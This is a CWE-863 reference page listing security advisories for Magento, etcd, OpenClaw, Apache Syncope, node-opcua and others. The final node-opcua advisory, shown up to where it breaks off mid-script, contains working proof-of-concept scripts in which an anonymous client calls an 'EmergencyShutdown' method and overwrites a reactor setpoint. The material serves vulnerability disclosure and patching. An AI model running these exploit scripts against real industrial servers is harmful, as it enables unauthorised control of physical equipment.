CWE-863
Weakness Allowed-with-ReviewIncorrect Authorization
Abstraction: Class · Status: Incomplete
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
Dimensions
- Behavior-Property: Incorrect
- Behavior-Type: Authorization
Mapping guidance
This CWE entry is a Class and might have Base-level children that would be more appropriate
Examine children of this entry to see if there is a better fit
Relationships and members
Modes of introduction
Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.
REALIZATION: This weakness is caused during implementation of an architectural security tactic.
A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.
Detection methods
Automated Static Analysis
Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.
Generally, automated static analysis tools have difficulty detecting custom authorization schemes. Even if they can be customized to recognize these schemes, they might not be able to tell whether the scheme correctly performs the authorization in a way that cannot be bypassed or subverted by an attacker.
Effectiveness: Limited
Automated Dynamic Analysis
Automated dynamic analysis may not be able to find interfaces that are protected by authorization checks, even if those checks contain weaknesses.
Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.
Effectiveness: Moderate
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: SOAR Partial
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Host Application Interface Scanner
Fuzz Tester
Framework-based Fuzzer
Forced Path Execution
Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious
Effectiveness: SOAR Partial
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Effectiveness: SOAR Partial
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Context-configured Source Code Weakness Analyzer
Effectiveness: SOAR Partial
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Effectiveness: High
Notes
Terminology
Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.
Content history
Contributed or reviewed taxonomy mappings for ISA/IEC 62443
Provided diagram to improve CWE usability
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
updated Potential_Mitigations, References, Relationships
updated References, Relationships
updated Potential_Mitigations
updated Description
updated Detection_Factors
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
updated References
updated Relationships
updated Relationships
updated Relationships
updated Relationships
updated Alternate_Terms
updated Observed_Examples
updated Relationships
updated Observed_Examples
updated Description, Potential_Mitigations
updated References, Relationships
updated Mapping_Notes, Relationships
updated Taxonomy_Mappings
updated Common_Consequences, Description, Diagram, Relationships, Terminology_Notes
updated Diagram
updated Detection_Factors, Observed_Examples, References
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings
9013 vulnerabilities reference this CWE, most recent first.
GHSA-XG36-8C2V-JPXH
Vulnerability from github – Published: 2024-10-10 12:31 – Updated: 2024-10-11 18:24Magento Open Source versions 2.4.7-p2, 2.4.6-p7, 2.4.5-p9, 2.4.4-p10 and earlier are affected by an Incorrect Authorization vulnerability that could result in a security feature bypass. A low-privileged attacker could exploit this vulnerability to have a low impact on integrity. Exploitation of this issue does not require user interaction.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.7-beta1"
},
{
"fixed": "2.4.7-p3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.6-p1"
},
{
"fixed": "2.4.6-p8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "2.4.5-p1"
},
{
"fixed": "2.4.5-p10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.4.4-p11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"versions": [
"2.4.7"
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"versions": [
"2.4.6"
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"versions": [
"2.4.5"
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "magento/community-edition"
},
"versions": [
"2.4.4"
]
}
],
"aliases": [
"CVE-2024-45125"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-11T18:24:29Z",
"nvd_published_at": "2024-10-10T10:15:05Z",
"severity": "MODERATE"
},
"details": "Magento Open Source versions 2.4.7-p2, 2.4.6-p7, 2.4.5-p9, 2.4.4-p10 and earlier are affected by an Incorrect Authorization vulnerability that could result in a security feature bypass. A low-privileged attacker could exploit this vulnerability to have a low impact on integrity. Exploitation of this issue does not require user interaction.",
"id": "GHSA-xg36-8c2v-jpxh",
"modified": "2024-10-11T18:24:30Z",
"published": "2024-10-10T12:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45125"
},
{
"type": "PACKAGE",
"url": "https://github.com/magento/magento2"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/magento/apsb24-73.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Magento Open Source Incorrect Authorization vulnerability"
}
GHSA-XG4H-6GFC-H4M8
Vulnerability from github – Published: 2026-07-24 22:38 – Updated: 2026-08-12 21:20Impact
What kind of vulnerability is it? Who is impacted?
A user granted READ permission on a single, exact key can use the Watch gRPC API with clientv3.WithFromKey() (an open-ended, "from this key to the end of the keyspace" watch) to receive watch events for every key lexicographically greater than or equal to their permitted key — not just the one key they were granted.
This is an authorization bypass in etcd's RBAC enforcement for the Watch API; Range/Get and DeleteRange requests are not affected. It only affects clusters with authentication enabled — clusters running without auth already allow unrestricted read access.
Patches
Has the problem been patched? What versions should users upgrade to?
This vulnerability is patched in the following versions:
- etcd 3.7.1
- etcd 3.6.14
- etcd 3.5.33
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
If upgrading is not immediately possible, the following mitigations reduce exposure:
- Audit READ grants. Any READ grant — even on one key — can be leveraged via Watch to read everything after it. Review who holds READ permissions and revoke/tighten any you wouldn't trust with full read access.
- Restrict network access. Limit which hosts can reach etcd's client (gRPC) port via firewall rules or network policy, reducing who can attempt exploitation.
Reporter
- Luis Toro (@lobuhi on Github)
- Anthropic and Adam Korczynski (@AdamKorcz on Github)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "go.etcd.io/etcd/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0-alpha.0"
},
{
"fixed": "3.7.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "go.etcd.io/etcd/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.6.0"
},
{
"fixed": "3.6.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "go.etcd.io/etcd/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.5.33"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73499"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T22:38:22Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA user granted READ permission on a single, exact key can use the Watch gRPC API with `clientv3.WithFromKey()` (an open-ended, \"from this key to the end of the keyspace\" watch) to receive watch events for every key lexicographically greater than or equal to their permitted key \u2014 not just the one key they were granted. \n\nThis is an authorization bypass in etcd\u0027s RBAC enforcement for the Watch API; Range/Get and DeleteRange requests are not affected. It only affects clusters with authentication enabled \u2014 clusters running without auth already allow unrestricted read access.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nThis vulnerability is patched in the following versions:\n\n- etcd 3.7.1\n- etcd 3.6.14\n- etcd 3.5.33\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nIf upgrading is not immediately possible, the following mitigations reduce exposure:\n\n- Audit READ grants. Any READ grant \u2014 even on one key \u2014 can be leveraged via Watch to read everything after it. Review who holds READ permissions and revoke/tighten any you wouldn\u0027t trust with full read access.\n- Restrict network access. Limit which hosts can reach etcd\u0027s client (gRPC) port via firewall rules or network policy, reducing who can attempt exploitation.\n\n### Reporter\n\n- Luis Toro ([@lobuhi](https://github.com/lobuhi) on Github)\n- Anthropic and Adam Korczynski ([@AdamKorcz](https://github.com/AdamKorcz) on Github)",
"id": "GHSA-xg4h-6gfc-h4m8",
"modified": "2026-08-12T21:20:37Z",
"published": "2026-07-24T22:38:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/etcd-io/etcd/security/advisories/GHSA-xg4h-6gfc-h4m8"
},
{
"type": "WEB",
"url": "https://github.com/etcd-io/etcd/commit/6643f80602461a6095c9b294b6512fd9719bef41"
},
{
"type": "WEB",
"url": "https://github.com/etcd-io/etcd/commit/afeaa624da19085b47fb5ccc7c22a8c421bc2eae"
},
{
"type": "WEB",
"url": "https://github.com/etcd-io/etcd/commit/e863b001bbf3367003a543aa3099db9892134cd7"
},
{
"type": "PACKAGE",
"url": "https://github.com/etcd-io/etcd"
},
{
"type": "WEB",
"url": "https://github.com/etcd-io/etcd/releases/tag/v3.5.33"
},
{
"type": "WEB",
"url": "https://github.com/etcd-io/etcd/releases/tag/v3.6.14"
},
{
"type": "WEB",
"url": "https://github.com/etcd-io/etcd/releases/tag/v3.7.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "etcd: Watch API authorization bypass via open-ended range requests"
}
GHSA-XG59-F45V-9R9J
Vulnerability from github – Published: 2026-03-31 12:31 – Updated: 2026-04-06 22:45Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-g7cr-9h7q-4qxq. This link is maintained to preserve external references.
Original Description
OpenClaw before 2026.3.8 contains a sender allowlist bypass vulnerability in its Microsoft Teams plugin that allows unauthorized senders to bypass intended authorization checks. When a team/channel route allowlist is configured with an empty groupAllowFrom parameter, the message handler synthesizes wildcard sender authorization, permitting any sender in the matched team/channel to trigger replies in allowlisted Teams routes.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-06T22:45:43Z",
"nvd_published_at": "2026-03-31T12:16:30Z",
"severity": "LOW"
},
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-g7cr-9h7q-4qxq. This link is maintained to preserve external references.\n\n### Original Description\nOpenClaw before 2026.3.8 contains a sender allowlist bypass vulnerability in its Microsoft Teams plugin that allows unauthorized senders to bypass intended authorization checks. When a team/channel route allowlist is configured with an empty groupAllowFrom parameter, the message handler synthesizes wildcard sender authorization, permitting any sender in the matched team/channel to trigger replies in allowlisted Teams routes.",
"id": "GHSA-xg59-f45v-9r9j",
"modified": "2026-04-06T22:45:43Z",
"published": "2026-03-31T12:31:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-g7cr-9h7q-4qxq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34506"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/88aee9161e0e6d32e810a25711e32a808a1777b2"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-sender-allowlist-bypass-in-microsoft-teams-plugin-via-route-allowlist-configuration"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: OpenClaw\u0027s MS Teams sender allowlist bypass when route allowlist is configured and sender allowlist is empty",
"withdrawn": "2026-04-06T22:45:43Z"
}
GHSA-XGC5-8VG7-68X3
Vulnerability from github – Published: 2025-06-11 00:30 – Updated: 2025-06-11 00:30The ws.stash.app.mac.daemon.helper tool contains a vulnerability caused by an incorrect use of macOS’s authorization model. Instead of validating the client's authorization reference, the helper invokes AuthorizationCopyRights() using its own privileged context (root), effectively authorizing itself rather than the client. As a result, it grants the system.preferences.admin right internally, regardless of the requesting client's privileges. This flawed logic allows unprivileged clients to invoke privileged operations via XPC, including unauthorized changes to system-wide network preferences such as SOCKS, HTTP, and HTTPS proxy settings. The absence of proper code-signing checks further enables arbitrary processes to exploit this flaw, leading to man-in-the-middle (MITM) attacks through traffic redirection.
{
"affected": [],
"aliases": [
"CVE-2024-7457"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-11T00:15:23Z",
"severity": "HIGH"
},
"details": "The ws.stash.app.mac.daemon.helper tool contains a vulnerability caused by an incorrect use of macOS\u2019s authorization model. Instead of validating the client\u0027s authorization reference, the helper invokes AuthorizationCopyRights() using its own privileged context (root), effectively authorizing itself rather than the client. As a result, it grants the system.preferences.admin right internally, regardless of the requesting client\u0027s privileges. This flawed logic allows unprivileged clients to invoke privileged operations via XPC, including unauthorized changes to system-wide network preferences such as SOCKS, HTTP, and HTTPS proxy settings. The absence of proper code-signing checks further enables arbitrary processes to exploit this flaw, leading to man-in-the-middle (MITM) attacks through traffic redirection.",
"id": "GHSA-xgc5-8vg7-68x3",
"modified": "2025-06-11T00:30:48Z",
"published": "2025-06-11T00:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7457"
},
{
"type": "WEB",
"url": "https://pentraze.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XGGF-JV35-5G43
Vulnerability from github – Published: 2026-09-14 15:32 – Updated: 2026-09-14 21:31Incorrect Authorization vulnerability in Apache Syncope.
An administrator with ClientApp's update entitlement is unable to perform the related operation, while ClientApp's create entitlement is checked both for create and update operations on ClientApp.
This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2.
Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.
{
"affected": [],
"aliases": [
"CVE-2026-77181"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-14T13:18:46Z",
"severity": "CRITICAL"
},
"details": "Incorrect Authorization vulnerability in Apache Syncope.\n\n\n\nAn administrator with ClientApp\u0027s update entitlement is unable to perform the related operation, while\u00a0ClientApp\u0027s create entitlement is checked both for create and update operations on ClientApp.\n\n\n\n\n\nThis issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2.\n\nUsers are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.",
"id": "GHSA-xggf-jv35-5g43",
"modified": "2026-09-14T21:31:36Z",
"published": "2026-09-14T15:32:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77181"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/swqj31jhbz7hmmkjy42461zp9rhh9lwy"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/09/14/16"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XGGF-M53X-JC3F
Vulnerability from github – Published: 2026-11-10 15:56 – Updated: 2026-11-10 15:56Summary
An unauthenticated (Anonymous) client can Write protected Variables and Call privileged Methods on any Node that lacks explicit per-node permissions.
This follows the inheritance model defined by OPC UA Part 3, §5.2.9, where nodes without an explicit RolePermissions attribute inherit the namespace DefaultRolePermissions. OPC 10000-3 §4.8.3 mandates a default-deny evaluation (Bad_UserAccessDenied when the operation bits are not set); node-opcua instead grants all permissions.
The root cause is a combination of an authorization fail-open and a disconnect between the configuration API and the runtime enforcement path.
Affected configuration
This advisory covers two cases that are not equally severe: 1. No RolePermissions declared anywhere - resolution is permissive. This is node-opcua's documented behaviour for a server with no access control configured, so nothing is being bypassed. Worth fixing as an insecure default (CWE-1188), but it is not the 9.1 bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value, so a server that declared no policy is NOT exposed. 2. A policy is declared and silently ignored - setDefaultRolePermissions() succeeds and does nothing, so an operator who believes they locked the namespace down has not. This is the real bypass and this is what earns CVSS 9.1. It requires that someone declared a namespace default. Everything below describes case 2 unless stated otherwise.
Root Cause Analysis
Bug 1 - getPermissionForRole(null) returns allPermissions (violates §4.8.3 default-deny)
File: packages/node-opcua-address-space/source/session_context.ts:151-153
function getPermissionForRole(rolePermissions: RolePermissionType[] | null, role: NodeId): PermissionFlag {
if (rolePermissions === null) {
return allPermissions; // null means "grant everything" to ANY role, including Anonymous
}
When the applicable policy resolves to null, the function returns allPermissions (Read, Write, Call) to whichever role is checking permissions, including Anonymous. OPC 10000-3 §4.8.3 requires the opposite: "If they are not set the Server returns Bad_UserAccessDenied."
Bug 2 - The namespace default resolves to null on the enforcement path
The runtime enforcement reads the DefaultRolePermissions / DefaultUserRolePermissions Variable nodes under Server/Namespaces/<ns>. These resolve to null in every reachable configuration:
- NodeSet2-loaded namespaces (DI / ADI / vendor) ship the Property without a
Value(null). - Programmatically-created namespaces have no
NamespaceMetadatanode underServer/Namespaces, so the lookup returnsnull.
Additionally, server_engine.ts:947-957 rewrites these nodes to a Null-typed value on every initialize(), with no restore:
for (const ns of namespacesNode.getComponents()) {
const defaultRolePermissions = ns.getChildByName("DefaultRolePermissions") as UAVariable | null;
if (defaultRolePermissions) {
defaultRolePermissions.setValueFromSource({ dataType: DataType.Null });
}
}
Note: the loaded value is already
nullin stock nodesets, so this reset only changes the value'sdataTypetag; it is not the sole cause, the namespace default isnullregardless.
Bug 3 - Two incoherent enforcement paths
There are two separate and disconnected paths to resolve namespace-default permissions.
Path A (private field) - Namespace.setDefaultRolePermissions() writes the policy exclusively to a JavaScript private field in namespace_impl.ts:
public setDefaultRolePermissions(rolePermissions: RolePermissionTypeOptions[] | null): void {
this.defaultRolePermissions = rolePermissions ? coerceRolePermissions(rolePermissions) : undefined;
}
This is the value read by local getters (e.g. BaseNodeImpl.getRolePermissions(inherited=true)).
Path B (UAVariable node) - the runtime access-control enforcement (Read/Write/Call) queries the DefaultRolePermissions UAVariable node instead of the private field (session_context.ts):
const defaultRolePermissions = uaNamespaceObject.getChildByName("DefaultRolePermissions") as UAVariable;
if (defaultRolePermissions) {
const dataValue = defaultRolePermissions.readValue();
if (dataValue?.statusCode.isGood()) {
return dataValue.value.value as RolePermissionType[] | null;
}
}
Because Path B reads the variable node and Path A writes the private field, the two are disconnected. The enforcement path resolves the namespace default to null, the metadata node is absent (programmatic namespace) or Null-valued (nodeset namespace) and the operator's setDefaultRolePermissions() field is never consulted. That null then triggers the fail-open (Bug 1).
Measured: with
setDefaultRolePermissions([Operator])applied,namespace.getDefaultRolePermissions()returns the policy whilegetApplicableRolePermissions()returnsnull.
Synchronization between the two paths only happens if the operator calls setNamespaceMetaData(), which binds the field to the node via bindVariable():
metaData.defaultRolePermissions?.bindVariable(
{
get: () =>
new Variant({
dataType: DataType.ExtensionObject,
arrayType: VariantArrayType.Array,
value: namespace.getDefaultRolePermissions()
})
},
true
);
Without calling setNamespaceMetaData(), setDefaultRolePermissions() has no effect on runtime authorization. Furthermore, on NodeSet2-loaded namespaces setNamespaceMetaData() throws "INamespace meta data already exists" (PoC-C), so for those namespaces there is no working way to activate the namespace default at all.
Steps to Reproduce
PoC-A - Address-space level (unit test, no network)
Save as packages/node-opcua-address-space/test/test_poc_rbac_failopen.ts, then run:
cd packages/node-opcua-address-space
npx mocha ./test/test_poc_rbac_failopen.ts
import { makePermissionFlag } from "node-opcua-data-model";
import { PermissionType } from "node-opcua-types";
import { DataType } from "node-opcua-variant";
import should from "should";
import { type AddressSpace, makeRoles, type Namespace, SessionContext, WellKnownRoles } from "..";
import { getMiniAddressSpace } from "../testHelpers";
const _keep = should;
describe("PoC RBAC fail-open", () => {
let addressSpace: AddressSpace;
let namespace: Namespace;
before(async () => {
addressSpace = await getMiniAddressSpace();
namespace = addressSpace.getOwnNamespace();
});
after(() => addressSpace.dispose());
function anonymousContext(): SessionContext {
const ctx = new SessionContext();
ctx.getCurrentUserRoles = () => makeRoles([WellKnownRoles.Anonymous]);
return ctx;
}
it("A. CONTROL: per-node rolePermissions deny Anonymous", () => {
const secured = namespace.addVariable({
browseName: "SecuredWithNodePermissions",
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite"
});
secured.setRolePermissions([
{ roleId: WellKnownRoles.Engineer, permissions: makePermissionFlag("Read | Write") }
]);
const ctx = anonymousContext();
ctx.checkPermission(secured, PermissionType.Write).should.eql(false);
});
it("B. VULN: node relying on namespace-default -> Anonymous gets Write", () => {
const relyingOnDefault = namespace.addVariable({
browseName: "RelyingOnNamespaceDefault",
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite"
});
const ctx = anonymousContext();
const applicable = ctx.getApplicableRolePermissions(relyingOnDefault);
should(applicable).eql(null, "namespace default resolves to null (no namespace-metadata node)");
ctx.checkPermission(relyingOnDefault, PermissionType.Write).should.eql(true);
relyingOnDefault.isUserWritable(ctx).should.eql(true);
});
it("C. VULN: bound Method without per-node permission -> Anonymous can Call", () => {
const obj = namespace.addObject({ browseName: "PocObject", organizedBy: addressSpace.rootFolder.objects });
const method = namespace.addMethod(obj, {
browseName: "PrivilegedMethod",
inputArguments: [],
outputArguments: []
});
method.bindMethod((inputArguments, context, callback) => callback(null, { statusCode: 0 as any }));
const ctx = anonymousContext();
ctx.checkPermission(method, PermissionType.Call).should.eql(true);
method.getUserExecutableFlag(ctx).should.eql(true);
});
});
Output:
PoC RBAC fail-open
✓ A. CONTROL: per-node rolePermissions deny Anonymous
✓ B. VULN: node relying on namespace-default -> Anonymous gets Write
✓ C. VULN: bound Method without per-node permission -> Anonymous can Call
3 passing
PoC-B - End-to-end over TCP (programmatic namespace)
Save as packages/node-opcua/poc_b_e2e_rbac.js, then run node poc_b_e2e_rbac.js (add --safe for the control):
const {
OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
MessageSecurityMode, SecurityPolicy, UserTokenType,
WellKnownRoles, makePermissionFlag, setNamespaceMetaData
} = require("node-opcua");
const PORT = 48411;
const ENDPOINT = `opc.tcp://localhost:${PORT}`;
const SAFE_MODE = process.argv.includes("--safe");
let parentNodeId, methodNodeId, variableNodeId;
async function startServer() {
const server = new OPCUAServer({
port: PORT,
securityPolicies: [SecurityPolicy.None],
securityModes: [MessageSecurityMode.None],
allowAnonymous: true
});
await server.initialize();
const ns = server.engine.addressSpace.getOwnNamespace();
// Operator hardening: namespace-level RBAC, Anonymous excluded
ns.setDefaultRolePermissions([
{ roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") },
{ roleId: WellKnownRoles.AuthenticatedUser, permissions: makePermissionFlag("Read | Browse") }
]);
if (SAFE_MODE) {
setNamespaceMetaData(ns);
}
const device = ns.addObject({ browseName: "PlantDevice_01", organizedBy: server.engine.addressSpace.rootFolder.objects });
parentNodeId = device.nodeId;
const method = ns.addMethod(device, { browseName: "EmergencyShutdown", inputArguments: [], outputArguments: [] });
method.bindMethod((_in, _ctx, cb) => {
console.log("[server] EmergencyShutdown EXECUTED by anonymous caller");
cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
});
methodNodeId = method.nodeId;
const variable = ns.addVariable({
browseName: "ReactorSetpoint",
componentOf: device,
dataType: DataType.Double,
accessLevel: "CurrentRead | CurrentWrite",
userAccessLevel: "CurrentRead | CurrentWrite",
value: { dataType: DataType.Double, value: 350.0 }
});
variableNodeId = variable.nodeId;
await server.start();
console.log(`[server] Listening on ${ENDPOINT}`);
return server;
}
async function anonymousAttack() {
const client = OPCUAClient.create({
endpointMustExist: false,
securityMode: MessageSecurityMode.None,
securityPolicy: SecurityPolicy.None
});
await client.connect(ENDPOINT);
const session = await client.createSession({ type: UserTokenType.Anonymous });
console.log("[client] Anonymous session activated");
let callStatus;
try {
const r = await session.call({ objectId: parentNodeId, methodId: methodNodeId, inputArguments: [] });
callStatus = r.statusCode.toString();
} catch (e) { callStatus = e.message; }
let writeStatus;
try {
const r = await session.write({
nodeId: variableNodeId,
attributeId: AttributeIds.Value,
value: { value: { dataType: DataType.Double, value: 999.0 } }
});
writeStatus = r.toString();
} catch (e) { writeStatus = e.message; }
await session.close();
await client.disconnect();
return { callStatus, writeStatus };
}
(async () => {
const server = await startServer();
try {
const { callStatus, writeStatus } = await anonymousAttack();
console.log(`\nMode: ${SAFE_MODE ? "SAFE" : "VULNERABLE"}`);
console.log(`CALL EmergencyShutdown : ${callStatus}`);
console.log(`WRITE ReactorSetpoint : ${writeStatus}`);
const vuln = callStatus.includes("Good") || writeStatus.includes("Good");
console.log(vuln ? "\nVULNERABLE - Anonymous bypassed namespace RBAC" : "\nSAFE - RBAC correctly enforced");
} finally {
await server.shutdown();
}
})().catch(e => { console.error(e); process.exit(1); });
Vulnerable output (node poc_b_e2e_rbac.js):
[server] EmergencyShutdown EXECUTED by anonymous caller
Mode: VULNERABLE
CALL EmergencyShutdown : Good (0x00000000)
WRITE ReactorSetpoint : Good (0x00000000)
Control output (node poc_b_e2e_rbac.js --safe):
Mode: SAFE
CALL EmergencyShutdown : BadUserAccessDenied (0x801f0000)
WRITE ReactorSetpoint : BadUserAccessDenied (0x801f0000)
PoC-C - End-to-end over TCP (NodeSet2-loaded namespace: no configuration prevents it)
Save as packages/node-opcua/poc_c_nodeset_rbac.js, then run node poc_c_nodeset_rbac.js:
const {
OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
MessageSecurityMode, SecurityPolicy, UserTokenType,
WellKnownRoles, makePermissionFlag, setNamespaceMetaData, nodesets
} = require("node-opcua");
const PORT = 48412, DI_URI = "http://opcfoundation.org/UA/DI/";
let deviceId, methodId, variableId;
async function startServer() {
const server = new OPCUAServer({
port: PORT,
securityPolicies: [SecurityPolicy.None],
securityModes: [MessageSecurityMode.None],
allowAnonymous: true,
nodeset_filename: [nodesets.standard, nodesets.di]
});
await server.initialize();
const di = server.engine.addressSpace.getNamespace(DI_URI);
di.setDefaultRolePermissions([
{ roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") }
]);
try {
setNamespaceMetaData(di);
console.log("[server] hardening: metadata bound");
} catch (e) {
console.log("[server] hardening FAILED:", e.message);
}
const device = di.addObject({ browseName: "Pump01", organizedBy: server.engine.addressSpace.rootFolder.objects });
deviceId = device.nodeId;
const m = di.addMethod(device, { browseName: "Stop", inputArguments: [], outputArguments: [] });
m.bindMethod((_i, _c, cb) => {
console.log("[server] Stop() EXECUTED by anonymous");
cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
});
